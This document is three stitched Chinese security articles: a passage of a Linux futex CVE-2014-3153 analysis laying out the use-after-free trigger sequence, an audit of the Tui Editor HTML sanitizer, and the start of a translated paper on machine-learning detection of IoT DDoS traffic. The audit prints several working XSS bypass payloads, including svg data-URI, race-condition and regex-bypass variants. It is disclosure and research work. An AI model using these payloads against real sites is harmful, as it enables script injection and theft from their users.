return -ENOSYS;
}
switch (cmd) {
case FUTEX_LOCK_PI:
case FUTEX_UNLOCK_PI:
case FUTEX_TRYLOCK_PI:
case FUTEX_WAIT_REQUEUE_PI:
case FUTEX_CMP_REQUEUE_PI:
if (!futex_cmpxchg_enabled)
return -ENOSYS;
}
switch (cmd) {
case FUTEX_WAIT:
val3 = FUTEX_BITSET_MATCH_ANY;
case FUTEX_WAIT_BITSET:
return futex_wait(uaddr, flags, val, timeout, val3);
case FUTEX_WAKE:
val3 = FUTEX_BITSET_MATCH_ANY;
case FUTEX_WAKE_BITSET:
return futex_wake(uaddr, flags, val, val3);
case FUTEX_REQUEUE:
return futex_requeue(uaddr, flags, uaddr2, val, val2, NULL, 0);
case FUTEX_CMP_REQUEUE:
return futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 0);
case FUTEX_WAKE_OP:
return futex_wake_op(uaddr, flags, uaddr2, val, val2, val3);
case FUTEX_LOCK_PI:
return futex_lock_pi(uaddr, flags, val, timeout, 0);
case FUTEX_UNLOCK_PI:
return futex_unlock_pi(uaddr, flags);
case FUTEX_TRYLOCK_PI:
return futex_lock_pi(uaddr, flags, 0, timeout, 1);
case FUTEX_WAIT_REQUEUE_PI:
val3 = FUTEX_BITSET_MATCH_ANY;
return futex_wait_requeue_pi(uaddr, flags, val, timeout, val3,
uaddr2);
case FUTEX_CMP_REQUEUE_PI:
return futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 1);
}
return -ENOSYS;
}
在do_futex(……)中，主要根据op代表的具体操作类型进行不同分支的操作。例如FUTEX_WAIT执行futex_wait(uaddr, flags,
val, timeout, val3)，FUTEX_WAKE则执行futex_wake(uaddr, flags, val,
val3)，这是最基本futex阻塞唤醒操作。
我们来看一下futex_lock_pi这个函数
/*
* Userspace tried a 0 -> TID atomic transition of the futex value
* and failed. The kernel side here does the whole locking operation:
* if there are waiters then it will block, it does PI, etc. (Due to
* races the kernel might see a 0 value of the futex too.)
*/
static int futex_lock_pi(u32 __user *uaddr, unsigned int flags, int detect,
ktime_t *time, int trylock)
{
struct hrtimer_sleeper timeout, *to = NULL;
struct futex_hash_bucket *hb;
struct futex_q q = futex_q_init;
int res, ret;
...
...
ret = futex_lock_pi_atomic(uaddr, hb, &q.key, &q.pi_state, current, 0);
if (unlikely(ret)) {
switch (ret) {
case 1:
/* We got the lock. */
ret = 0;
goto out_unlock_put_key;
case -EFAULT:
goto uaddr_faulted;
case -EAGAIN:
/*
* Task is exiting and we just wait for the
* exit to complete.
*/
queue_unlock(&q, hb);
put_futex_key(&q.key);
cond_resched();
goto retry;
default:
goto out_unlock_put_key;
}
}
可以看出futex_lock_pi的核心函数是futex_lock_pi_atomic
/**
* futex_lock_pi_atomic() - Atomic work required to acquire a pi aware futex
* @uaddr: the pi futex user address
* @hb: the pi futex hash bucket
* @key: the futex key associated with uaddr and hb
* @ps: the pi_state pointer where we store the result of the
* lookup
* @task: the task to perform the atomic lock work for. This will
* be "current" except in the case of requeue pi.
* @set_waiters: force setting the FUTEX_WAITERS bit (1) or not (0)
*
* Returns:
* 0 - ready to wait
* 1 - acquired the lock
* <0 - error
*
* The hb->lock and futex_key refs shall be held by the caller.
*/
static int futex_lock_pi_atomic(u32 __user *uaddr, struct futex_hash_bucket *hb,
union futex_key *key,
struct futex_pi_state **ps,
struct task_struct *task, int set_waiters)
{
...
...
/*
* To avoid races, we attempt to take the lock here again
* (by doing a 0 -> TID atomic cmpxchg), while holding all
* the locks. It will most likely not succeed.
*/
newval = vpid;
if (set_waiters)
newval |= FUTEX_WAITERS;
if (unlikely(cmpxchg_futex_value_locked(&curval, uaddr, 0, newval)))
return -EFAULT;
...
...
/*
* Surprise - we got the lock. Just return to userspace:
*/
if (unlikely(!curval))
return 1;
...
...
}
从注释我们可以看出unlikely(cmpxchg_futex_value_locked(&curval, uaddr, 0,
newval))用于比较uaddr是否为0，若为0则将线程id赋给uaddr
然后下面unlikely(!curval)如果cmpxchg操作成功即代表可以获取锁
但这时候会产生一个问题，uaddr是位于用户空间的一个整形变量，我们可以手动设为0，这样uaddr被锁定也可以再次获取锁。因为我们没有调用futex_unlock_pi释放锁就进行了再次上锁，所以其中有一些收尾工作没有做，比如唤醒阻塞在锁上的线程，修改
pi_state等。这个问题称为 ** _relock_** ，也可以叫多重上锁。
#### 2\. requeue
根据exp可知，这个漏洞利用主要依靠于系统调用接口FUTEX_WAIT_REQUEUE_PI、FUTEX_CMP_REQUEUE_PI
根据do_futex的源码可知，FUTEX_WAIT_REQUEUE_PI调用了函数futex_wait_requeue_pi，FUTEX_CMP_REQUEUE_PI调用了函数futex_requeue
futex_wait_requeue_pi的主要作用是在uaddr上等待唤醒，通过调用futex_wait_queue_me函数等待自身被唤醒。唤醒过程将所有阻塞在
uaddr1上的线程全部移动到uaddr2上去，以防止“惊群”的情况发生。
futex_requeue的主要作用是唤醒uaddr1最高优先级的线程，然后将阻塞在uaddr1上的等待线程转移到uaddr2上
从源码可以看出，futex_requeue唤醒futex_wait_requeue_pi线程通过两个函数：futex_proxy_trylock_atomic和rt_mutx_start_proxy_lock
如果futex_proxy_trylock_atomic函数获取uaddr2锁成功，它会返回用户空间，唤醒uaddr1上被阻塞的最高优先级进程，若获取uaddr2锁失败，继续执行后面代码。函数不进入内核互斥量，从而减小内核互斥量的开销。
如果rt_mutx_start_proxy_lock函数获取uaddr2锁成功，它会调用requeue_pi_wake_futex函数唤醒等待的线程，在该函数中将互斥锁的rt_waiter清空。如果失败，则将线程阻塞到uaddr2的内核互斥量上，将rt_waiter加入rt_mutex的waiter
list。
我用伪代码描述以下调用
futex_wait_requeue_pi(uaddr1, uaddr2) // 在uaddr1上等待
futex_requeue(uaddr1, uaddr2) // 返回1，表示成功
futex_requeue(uaddr2, uaddr2) //返回0xffffffea，表示失败，crash
前两步是正常操作，首先调用futex_wait_requeue_pi在uaddr1上等待，等待futex_requeue的唤醒，然后futex_requeue尝试获取uaddr2上的锁，然后唤醒uaddr1上等待的线程
但最后一步执行了futex_requeue(uaddr2,
uaddr2)，显然是不合逻辑的，如果第二次唤醒动作执行的是futex_requeue(uaddr1,
uaddr2)，那么futex_requeue会返回0，表示未唤醒成功，不会产生crash，但是Futex没有检查这样的调用，也就是说没有检查uaddr1
== uaddr2的情况，从而造成了我们可以二次进入futex_requeue中进行唤醒操作。
### 漏洞原理
1. **_futex_lock_pi( &B)_**
线程1调用futex_lock_pi锁住B，此时没有其他竞争，所以成功锁住B，B中内容被设置为tid
1. **_futex_wait_requeue_pi( &A, &B)_**
创建线程2，进入系统调用futex_wait_requeue_pi后，会在栈上初始化一个futex_q结构体和rt_mutex_waiter。然后调用futex_wait_queue_me在A上进行等待，此时futex_q会被加入到A对应的PI
chain中
1. **_futex_requeue_pi( &A, &B)_**
线程2进入内核等待后，线程1进入内核调用futex_requeue唤醒线程2，首先会走到futex_proxy_trylock_atomic，由于B被锁住，所以获取锁失败，接下来走到rt_mutex_start_proxy_lock函数，同样获取锁失败，线程2阻塞到B的rt_mutex上，同时将futex_wait_requeue_pi中的rt_waiter加入到rt_waiter的waiter
list上，调用链为rt_mutx_start_proxy_lock -> task_blocks_on_rt_mutex -> plist_add
1. **_B = 0_**
利用relock漏洞，在用户态解锁B
1. **_futex_requeue_pi( &B, &B)_**
利用requeue漏洞，再次调用futex_requeue(B, B)，这会导致
futex_proxy_trylock_atomic函数被再次调用，进而调用futex_lock_pi_atomic。futex_lock_pi_atomic判断B值为0，从而获得锁，然后调用requeue_pi_wake_futex唤醒线程2
q->rt_waiter会被置为NULL，因为已经获取了锁
1. **_futex_wait_requeue_pi( &A, &B)_**
futex_wait_requeue_pi会认为没有进入内核互斥量等待，也就是说rt_waiter没有被加入到rt_mutex的waiter
list上，因此futex_wait_requeue_pi将执行不清理rt_waiter的分支代码，从而造成了线程2被唤醒，但是它的rt_waiter没有从rt_mutex上摘除，而这个rt_waiter还正好在栈上，等futex_waite_requeue_pi线程结束后，会回收等待链表，就会引用到未被清理的re_waiter，从而导致uaf
漏洞原理调用图：
### reference
<http://kouucocu.lofter.com/post/1cdb8c4b_50f62fe>
<https://elixir.bootlin.com/linux/v3.4/source/kernel/futex.c#L1967>
<http://blog.topsec.com.cn/cve2014-3153/>
<https://blog.thecjw.me/?p=564>
《漏洞战争》CVE-2014-3153Android内核Futex提取漏洞 | 社区文章 |
**作者：phith0n
原文链接：<https://www.leavesongs.com/PENETRATION/a-tour-of-tui-editor-xss.html>**
TOAST Tui
Editor是一款富文本Markdown编辑器，用于给HTML表单提供Markdown和富文本编写支持。最近我们在工作中需要使用到它，相比于其他一些Markdown编辑器，它更新迭代较快，功能也比较强大。另外，它不但提供编辑器功能，也提供了渲染功能（Viewer），也就是说编辑和显示都可以使用Tui
Editor搞定。
Tui Editor的Viewer功能使用方法很简单：
import Viewer from '@toast-ui/editor/dist/toastui-editor-viewer';
import '@toast-ui/editor/dist/toastui-editor-viewer.css';
const viewer = new Viewer({
el: document.querySelector('#viewer'),
height: '600px',
initialValue: `# Markdown`
});
调用后，Markdown会被渲染成HTML并显示在`#viewer`的位置。那么我比较好奇，这里是否会存在XSS。
在Markdown编辑器的预览（Preview）位置也是使用Viewer，但是大部分编辑器的预览功能即使存在XSS也只能打自己（self-xss），但Tui
Editor将预览功能提出来作为一个单独的模块，就不仅限于self了。
## 0x01 理解渲染流程
代码审计第一步，先理解整个程序的结构与工作流程，特别是处理XSS的部分。
常见的Markdown渲染器对于XSS问题有两种处理方式：
* 在渲染的时候格外注意，在写入标签和属性的时候进行实体编码
* 渲染时不做任何处理，渲染完成以后再将整个数据作为富文本进行过滤
相比起来，后一种方式更加安全（它的安全主要取决于富文本过滤器的安全性）。前一种方式的优势是，不会因为二次过滤导致丢失一些正常的属性，另外少了一遍处理效率肯定会更高，它的缺点是一不注意就可能出问题，另外也不支持直接在Markdown里插入HTML。
对，Markdown里是可以直接插入HTML标签的，可以将Markdown理解为HTML的一种子集。
Tui Editor使用了第二种方式，我在他代码中发现了一个默认的HTML
sanitizer，在用户没有指定自己的sanitizer时将使用这个内置的sanitizer：https://github.com/nhn/tui.editor/blob/48a01f5/apps/editor/src/sanitizer/htmlSanitizer.ts
我的目标就是绕过这个sanitizer来执行XSS。代码不多，总结一下大概的过滤过程是：
1. 先正则直接去除注释与onload属性的内容
2. 将上面处理后的内容，赋值给一个新创建的div的innerHTML属性，建立起一颗DOM树
3. 用黑名单删除掉一些危险DOM节点，比如iframe、script等
4. 用白名单对属性进行一遍处理，处理逻辑是
5. 1. 只保留白名单里名字 **开头** 的属性
6. 对于满足正则`/href|src|background/i`的属性，进行额外处理
7. 处理完成后的DOM，获取其HTML代码返回
## 0x02 属性白名单绕过
弄清楚了处理过程，我就开始进行绕过尝试了。
这个过滤器的特点是，标签名黑名单，属性名白名单。on属性不可能在白名单里，所以我首先想到找找那些不需要属性的Payload，或者属性是白名单里的Payload，比如：
<script>alert(1)</script>
<iframe src="javascript:alert(1)">
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
<form><input type=submit formaction=javascript:alert(1) value=XSS>
<form><button formaction=javascript:alert(1)>XSS
<form action=javascript:alert(1)><input type=submit value=XSS>
<a href="javascript:alert(1)">XSS</a>
比较可惜的是，除了a标签外，剩余的标签全在黑名单里。a这个常见的payload也无法利用，原因是isXSSAttribute函数对包含href、src、background三个关键字的属性进行了特殊处理：
const reXSSAttr = /href|src|background/i;
const reXSSAttrValue = /((java|vb|live)script|x):/i;
const reWhitespace = /[ \t\r\n]/g;
function isXSSAttribute(attrName: string, attrValue: string) {
return attrName.match(reXSSAttr) && attrValue.replace(reWhitespace, '').match(reXSSAttrValue);
}
首先将属性值中的空白字符都去掉，再进行匹配，如果发现存在`javascript:`关键字就认为是XSS。
这里处理的比较粗暴，而且也无法使用HTML编码来绕过关键字——原因是，在字符串赋值给innerHTML的时候，HTML属性中的编码已经被解码了，所以在属性检查的时候看到的是解码后的内容。
所以，以下三类Payload会被过滤：
<a href="javasc ript:alert(1)">XSS</a>
<a href="javasc	ript:alert(1)">XSS</a>
<a href="javascript:alert(1)">XSS</a>
又想到了svg，svg标签不在黑名单中，而且也存在一些可以使用伪协议的地方，比如：
<svg><a xlink:href="javascript:alert(1)"><text x="100" y="100">XSS</text></a>
因为`reXSSAttr`这个正则并没有首尾定界符，所以只要属性名中存在href关键字，仍然会和a标签一样进行检查，无法绕过。
此时我想到了svg的use标签，use的作用是引用本页面或第三方页面的另一个svg元素，比如：
<svg>
<circle id="myCircle" cx="5" cy="5" r="4" stroke="blue"/>
<use href="#myCircle"></use>
</svg>
use的href属性指向那个被它引用的元素。但与a标签的href属性不同的是，use href不能使用JavaScript伪协议，但可以使用data:协议。
比如：
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>
data协议中的文件必须是一个完整的svg，而且整个data URL的末尾，需要有一个锚点`#x`来指向内部这个被引用的svg。
对于XSS
sanitizer来说，这个Payload只有svg、use两个标签和href一个属性，但因为use的引用特性，所以data协议内部的svg也会被渲染出来。
但是还是由于前面说到的`isXSSAttribute`函数，href属性中的`javascript:`这个关键字仍然会被拦截。解决方法有两种。
### base64编码绕过
既然是data:协议，那自然能让人想到base64编码。但这里要注意的是，URL锚点`#x`是在编码外的，不能把这部分编码进base64，否则无法引用成功。
最后构造的Payload是：
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyAKICAgIHhtbG5zOnhsaW5rPSdodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rJyB3aWR0aD0nMTAwJyBoZWlnaHQ9JzEwMCc+PGEgeGxpbms6aHJlZj0namF2YXNjcmlwdDphbGVydCgxKSc+PHJlY3QgeD0nMCcgeT0nMCcgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnIC8+PC9hPjwvc3ZnPg#x"></use></svg>
### ISO-2022-JP编码绕过
在当年浏览器filter还存在的时候，曾可以通过ISO-2022-KR、ISO-2022-JP编码来绕过auditor：https://www.leavesongs.com/HTML/chrome-xss-auditor-bypass-collection.html#charset-bypass
ISO-2022-JP编码在解析的时候会忽略`\x1B\x28\x42`，也就是`%1B%28B`。
在最新的Chrome中，
ISO-2022-JP仍然存在并可以使用，而data:协议也可以指定编码：https://datatracker.ietf.org/doc/html/rfc2397
两者一拍即合，构造出的Payload为：
<svg><use href="data:image/svg+xml;charset=ISO-2022-JP,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javas%1B%28Bcript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>
这两种绕过方式，都基于svg和use，缺点就是需要点击触发，在实战中还是稍逊一筹，所以我还需要想到更好的Payload。
## 0x03 基于DOM Clobbering的绕过尝试
前段时间在星球发了一个小挑战，代码如下：
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
这个小挑战的灵感就来自于Tui Editor的HTML sanitizer中对属性白名单的操作。
这个代码也是一种很典型地可以使用Dom Clobbering来利用的代码。关于Dom Clobbering的介绍，可以参考下面这两篇文章：
* <https://portswigger.net/web-security/dom-based/dom-clobbering>
* <https://xz.aliyun.com/t/7329>
简单来说，对于一个普通的HTML标签来说，当el是某个元素时，`el.attributes`指的是它的所有属性，比如这里的href和target：
<a href="#link" target="_blank">test</a>
这也是过滤器可以遍历`el.attributes`并删除白名单外的属性的一个理论基础。
但Dom
Clobbering是一种对DOM节点属性进行劫持的技术。比如下面这段HTML代码，当el是form这个元素的时候，`el.attributes`的值不再是form的属性，而是`<input>`这个元素：
<form><input id="attributes" /></form>
这里使用一个id为attributes的input元素劫持了原本form的attributes，`el.attributes`不再等于属性列表，自然关于移除白名单外属性的逻辑也就无从说起了。这就是Dom
Clobbering在这个小挑战里的原理。
最终@Zedd 使用下面这段代码实现了无需用户交互的Dom Clobbering XSS完成这个挑战：
<style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>
回到Tui Editor的案例。Tui
Editor的sanitizer与星球小挑战的代码有一点本质的不同就是，它在移除白名单外属性之前，还移除了一些黑名单的DOM元素，其中就包含`<form>`。
在Dom
Clobbering中，`<form>`是唯一可以用其子标签来劫持他本身属性的DOM元素（HTMLElement），但是它被黑名单删掉了。来看看删除时使用的`removeUnnecessaryTags`函数：
function findNodes(element: Element, selector: string) {
const nodeList = toArray(element.querySelectorAll(selector));
if (nodeList.length) {
return nodeList;
}
return [];
}
function removeNode(node: Node) {
if (node.parentNode) {
node.parentNode.removeChild(node);
}
}
function removeUnnecessaryTags(html: HTMLElement) {
const removedTags = findNodes(html, tagBlacklist.join(','));
removedTags.forEach((node) => {
removeNode(node);
});
}
我思考了比较久这三个函数是否可以用Dom Clobbering利用。其中最可能被利用的点是删除的那个操作：
if (node.parentNode) {
node.parentNode.removeChild(node);
}
我尝试用下面这个代码劫持了`node.parentNode`，看看效果：
<form><input id=parentNode></form>
经过调试发现，这样的确可以劫持到`node.parentNode`，让`node.parentNode`不再是`node`的父节点，而变成他的子节点——`<input>`。
但是劫持后，执行removeChild操作时，因为这个函数内部有检查，所以会爆出`Failed to execute 'removeChild' on
'Node': The node to be removed is not a child of this node.`的错误：
另外，Dom Clobbering也无法用来劫持函数，所以这个思路也无疾而终了。
最终我还是没找到利用Dom Clobbering来绕过Tui Editor的XSS sanitizer的方法，如果大家有好的想法，可以下来和我交流。
## 0x04 基于条件竞争的绕过方式
到现在，我仍然没有找到一个在Tui Editor中执行无交互XSS的方法。
这个时候我开始翻history，我发现就在不到一个月前，Tui Editor曾对HTML sanitizer进行了修复，备注是修复XSS漏洞，代码改动如下：
在将字符串html赋值给`root.innerHTML`前，对这个字符串进行了正则替换，移除其中的`onload=`关键字。
我最开始不是很明白这样做的用意，因为onload这个属性在后面白名单移除的时候会被删掉，在这里又做一次删除到底意义何在。后来看到了单元测试的case并进行调试以后，我才明白了原因。
在Tui Editor的单元测试中增加了这样一个case：
<svg><svg onload=alert(1)>
平平无奇，但我将其放到未修复的HTML
sanitizer中竟然绕过了属性白名单，成功执行。这也是我在知识星球的XSS小挑战中讲到的那个小trick，条件竞争。
这里所谓的“条件竞争”，竞争的其实就是这个onload属性在被放进DOM树中开始，到在后续移除函数将其移除的中间这段时间——只要这段代码被放进innerHTML后立即触发onload，这样即使后面它被移除了，代码也已经触发执行了。
那么想要找到这样一个Payload，它需要满足下面两个条件：
* 在代码被放进innerHTML的时候会被触发
* 事件触发的时间需要在被移除以前
第一个条件很好满足，比如最常用的XSS Payload `<img src=1
onerror=alert(1)>`，它被插入进innerHTML的时候就可以触发，而无需等待这个root节点被写入页面：
const root = document.createElement('div');
root.innerHTML = `<img src=1 onerror=alert(1)>`
相比起来，`<svg
onload=alert(1)>`、`<script>alert(1)</script>`这两个Payload就无法满足这一点。具体原因我在星球里也说到过，可以翻翻帖子。
第二个条件更加玄学，以至于我虽然知道一些可以利用的Payload，但并不知道它为什么可以利用。
的Payload是无法满足第二个条件的，因为onerror是在src加载失败的时候触发，中间存在IO操作时间比较久，所以肯定无法在onerror被移除前完成。相对的，下面这两个Payload可以满足条件：
<svg><svg onload=alert(1)>
<details open ontoggle=alert(1)>
第一个是我前面说过的方法，第二个是后面测试的时候发现的一种方法。
## 0x05 Tui Editor补丁绕过
那么很幸运，`<details open
ontoggle=alert(1)>`这个Payload满足了两个条件，成为可以竞争过remove的一个Payload。而Tui
Editor因为只考虑了双svg的Payload，所以可以使用它轻松绕过最新的补丁，构造一个无交互XSS。
那么我是否还能再找到一种绕过方式呢？
回看Tui Editor针对`<svg><svg onload=alert(1)>`这个Payload的修复方式：
export const TAG_NAME = '[A-Za-z][A-Za-z0-9-]*';
const reXSSOnload = new RegExp(`(<${TAG_NAME}[^>]*)(onload\\s*=)`, 'ig');
export function sanitizeHTML(html: string) {
const root = document.createElement('div');
if (isString(html)) {
html = html.replace(reComment, '').replace(reXSSOnload, '$1');
root.innerHTML = html;
}
// ...
}
增加了一个针对onload的正则`(<[A-Za-z][A-Za-z0-9-]*[^>]*)(onload\\s*=)`，将匹配上这个正则的字符串中的`onload=`移除。
这个正则是有问题的，主要问题有3个，我根据这两个问题构造了3种绕过方法。
### 贪婪模式导致的绕过
我发现这个正则在标签名`[A-Za-z][A-Za-z0-9-]*`的后面，使用了`[^>]*`来匹配非`>`的所有字符。我大概明白他的意思，他就是想忽略掉所有不是onload的字符，找到下一个onload。
但是还记得正则里的贪婪模式吧，默认情况下，正则引擎会尽可能地多匹配满足当前模式的字符，所以，如果此时有两个`onload=`，那么这个`[^>]*`将会匹配到第二个，而将它删除掉，而第一个`onload=`将被保留。
所以，构造如下Payload将可以绕过补丁：
<svg><svg onload=alert(1) onload=alert(2)>
### 替换为空导致的问题
那么如果将贪婪模式改成非贪婪模式，是否能解决问题呢？
(<[A-Za-z][A-Za-z0-9-]*[^>]*?)(onload\\s*=)
看看这个正则，会发现它分为两个group，`(<[A-Za-z][A-Za-z0-9-]*[^>]*?)`和`(onload\\s*=)`，在用户的输入匹配上时，第二个group将会被删除，保留第一个group，也就是`$1`。
所以，即使改成非贪婪模式，删除掉的是第一个`onload=`，第二个`onload=`仍然会保留，所以无法解决问题，构造的Payload如下：
<p><svg><svg onload=onload=alert(1)></svg></svg></p>
### 字符匹配导致的问题
回看这个`[^>]*`，作者的意思是一直往后找`onload=`直到标签闭合的位置为止，但是实际上这里有个Bug，一个HTML属性中，也可能存在字符`>`，它不仅仅是标签的定界符。
那么，如果这个正则匹配上HTML属性中的一个`>`，则会停止向后匹配，这样`onload=`也能保留下来。Payload如下：
<svg><svg x=">" onload=alert(1)>
三种Payload都可以用于绕过最新版的Tui Editor XSS过滤器，再加上前面的`<details open
ontoggle=alert(1)>`，总共已经有4个无需用户交互的POC了。
## 0x06 总结
总结一下，Tui Editor的Viewer使用自己编写的HTML
sanitizer来过滤Markdown渲染后的HTML，而这个sanitizer使用了很经典的先设置DOM的innerHTML，再过滤再写入页面的操作。
我先通过找到白名单中的恶意方法构造了需要点击触发的XSS Payload，又通过条件竞争构造了4个无需用户交互的XSS
Payload。其中，后者能够成功的关键在于，一些恶意的事件在设置innerHTML的时候就瞬间触发了，即使后面对其进行了删除操作也无济于事。
虽然作者已经注意到了这一类绕过方法，并进行了修复，但我通过审计它的修复正则，对其进行了绕过。
这里要说的一点是，我最初只想到了使用`x=">"`这种方法绕过正则，但在写文章的时候又想到了贪婪模式相关的方法。可以看出，写文章其实对于思考问题来说很有帮助，我在写一篇文章的时候会考虑的更加全面，这个经验也推荐给大家。
* * * | 社区文章 |
> Rohan Doshi, Noah Apthorpe, Nick Feamster
> Princeton University
> 来源：<https://arxiv.org/abs/1804.04159>
# 0x00 摘要
尽管越来越多的物联网（IoT）设备连接到互联网，但其中许多设备并不安全，进一步恶化了互联网环境。利用不安全的家用物联网设备，一些僵尸网络（如Mirai）对关键基础设施进行分布式拒绝服务（DDoS）攻击。这也促进了新技术的发展，研究人员开始研究检测家用物联网设备的DDoS攻击流量。
在本文中，我们发现可以利用物联网设备特定的网络行为（例如有限数量的服务器和数据包时间间隔的规律）来进行特征提取，通过各种机器学习算法（包括神经网络）实现高精度DDoS检测。这些结果表明，家庭路由器或其他网络中间件可以应用低成本的机器学习算法，在流量和协议不可知的流量数据中自动检测本地IoT设备的DDoS攻击行为。
# 0x01 引言
研究机构预计物联网（IoT）设备的数量将从2017年的80亿增长到2020年的200亿[1]。然而，大量的物联网设备都存在安全问题。一项对10种流行的物联网设备的分析发现了250个漏洞，包括开放的telnet端口、过时的Linux固件以及未加密的敏感数据传输[2，3]。
不安全的物联网设备的激增让僵尸网络对互联网基础设施的攻击有了可乘之机。在2016年10月，Mirai僵尸网络远程控制了约10万个IoT设备（主要是闭路电视摄像机）对Dyn
DNS基础设施进行DDoS攻击[4]。当时，包括Github、Amazon、Netflix、Twitter、CNN和Paypal在内的许多热门网站都在几个小时内无法访问。2017年1月，Mirai源代码被公布，Mirai衍生的僵尸网络发起DDoS攻击的频率和严重程度的不断增加[5]。
这种不断增长的威胁促使开发新技术来识别和阻止来自物联网僵尸网络的攻击流量。
最近的异常检测研究已经表明机器学习可以用于识别恶意网络流量[6]。然而，很少有人使用机器学习算法来检测物联网设备的攻击流量。然而幸运的是，物联网设备的流量与其他互联网设备（例如笔记本电脑和智能手机）的流量存在很大差异[7]。例如，物联网设备通常与一组有限的远程主机进行通信，而不是大量的网络服务器。物联网设备大多使用重复的网络流量模式，例如为了进行日志而在固定时间间隔内使用ping远程主机。
基于这一特性，我们开发了一个用于物联网设备DDoS检测数据收集、特征提取和二分类的流量采集通道。旨在利用物联网设备特定的网络行为，同时还利用网络流量特性（如数据包长度、数据包间隔和协议）。我们比较了各种用于攻击检测的算法，包括随机森林、K近邻、SVM、决策树和神经网络。
由于缺乏家用物联网设备攻击流量的公共数据集，我们通过模拟家用物联网设备网络来生成分类器培训数据。我们建立了一个本地网络，包括路由器、主流家用物联网设备以实现良性流量、攻击设备以进行DoS攻击。我们设计的机器学习模型能够成功识别攻击流量，其准确率高于0.999，其中随机森林、K近邻和神经网络的性能最为强大。我们预计深度学习分类将继续有效地学习来自真实世界部署的额外数据。
我们的流量采集通道主要用于在网络中间件（例如路由器、防火墙或网络交换机）上运行，以识别可能的异常流量和相应设备。由于流量采集通道是流式的、无状态的和协议不可知的，因此，它非常适合部署在家庭路由器或ISP的交换机。
据我们所知，这是第一个面向物联网特定功能的网络异常检测框架，也是第一个将异常检测专门应用于本地网络层面的物联网僵尸网络的框架。
# 0x02 研究背景与相关工作
在本节中，我们将简要介绍有关网络异常检测和网络中间件的局限性。
## 1 网络异常检测
异常检测的目的是识别不符合预期的行为。在我们的工作中，可以使用异常检测技术来区分正常流量和攻击流量。过去使用的基于阈值的技术容易将正常流量错误地分类为异常流量，并且无法适应攻击方式的高速演变[6]，因此我们考虑使用更复杂的异常检测算法，特别是那些使用机器学习的算法，这可以帮助最大限度地减少误报。这些算法相比传统的方法能够更好地应对海量数据的场景。
网络入侵检测系统（NIDS）长期以来一直使用异常检测算法来检测传统网络中的恶意行为。因此针对NIDS的研究可以在一定程度上为物联网设备流量检测提供合适的异常检测方法。具体而言，一些文献中提出了最近邻算法[8]、SVM[9]和一些基于规则的方案（如决策树和随机森林[10,
11]。
虽然NIDS和物联网设备的僵尸网络检测之间存在相似之处，很少有专门针对物联网设备的异常网络流量检测。物联网的流量不同于其他类型的网络行为，例如，在笔记本电脑和智能手机上访问的网络端点大多来自于网页浏览，而物联网设备会自动发送ping到有限数量的服务器。另外，物联网设备也往往保持着固定数量，因此他们的网络活动更可预测和结构化。例如，一个智能灯泡可以有三种状态：“开”、“关”和“连接到Wi-Fi”，都有着不同的网络流量模式。
这一观点得到了其他文献的支持。Apthorpe等人认为家用物联网设备的有限状态实际上表现在流量发送/接收速率的重复时间结构中，这一特征甚至可以用来推断消费者使用行为[7]。类似地，一些针对SCADA系统的异常检测的文献发现了基础设施系统中传感器和控制器的特殊网络流量模式[12,13]。Miettinen等人进一步展示了如何使用机器学习算法完成类似的任务，如区分物联网设备网络流量模式[14]。因此，我们利用网络流量特征捕捉物联网特定行为，以更好地模拟物联网DoS攻击流量。
## 2 网络中间件的局限性
网络中间件具有有限的内存和处理能力，因而限制了异常检测算法使用的技术。以下文献对如何满足上述限制进行了研究。例如，Sivanathan等人研究了软件定义的网络流量流级细粒度监控[15]。他们的工作表明，使用基于流的特征可以有效地检测安全威胁，而不会产生高代价的深度包检查。因此，智能家庭网关路由器的异常检测框架应该具有以下特性：
* 轻量级特性：由于路由器需要面对处理高带宽产生的流量，因此生成的任何特性必须都是轻量级的[16]。为了将算法扩展到高带宽应用程序，算法必须依赖于网络流统计（包是如何发送的），而不是深度包检查（包中的内容）。
* 协议兼容特性。路由器必须处理来自各种协议（例如TCP、UDP、HTTP等）的数据包，因此该算法必须考虑所有协议所共有的分组特性。
* 低内存实现。由于内存的限制，路由器只能保持有限的状态；而缓存提高了延迟和复杂性。因此，最优算法要么是无状态的，要么只需要在短时间内存储流信息[15]。
# 0x03 威胁模型
我们的威胁模型（图-1a）对家用物联网进行了各种假设。我们假设网络中包括一个如一个家庭网关路由器或其他代理的装置，可以观察家用物联网设备在本地网络（例如智能家庭局域网）和互联网上的流量，并检查、存储、修改和阻止任何通过其路径的网络通信。
我们的目标是检测和防止来自智能家庭局域网中物联网设备的DoS攻击。连接到中间件的任何设备都可以在同一时间段内发送网络和攻击流量。由于僵尸网络的CC服务器可能修改命令，每台设备还可能串行地进行各种不同的DoS攻击，并且攻击的持续时间可能会有所不同。我们假设DoS攻击的时间大约为1.5分钟，这是DoS攻击尝试避开检测的常见持续时间[5]。
# 0x04 异常检测通道（Pipeline）
在本节中，我们提出了一种基于机器学习的物联网设备DDoS检测框架，包括了四个步骤（图2）：
* 流量捕获：流量捕获流程记录智能家庭设备发送的所有IP报文的源IP地址、源端口、目的IP地址、目的端、，报文大小和时间戳。
* 基于设备和时间的数据包分组：来自每个物联网设备的数据包按源IP地址分隔，利用时间戳将每个设备的数据包进一步划分为不重叠的时间跨度。
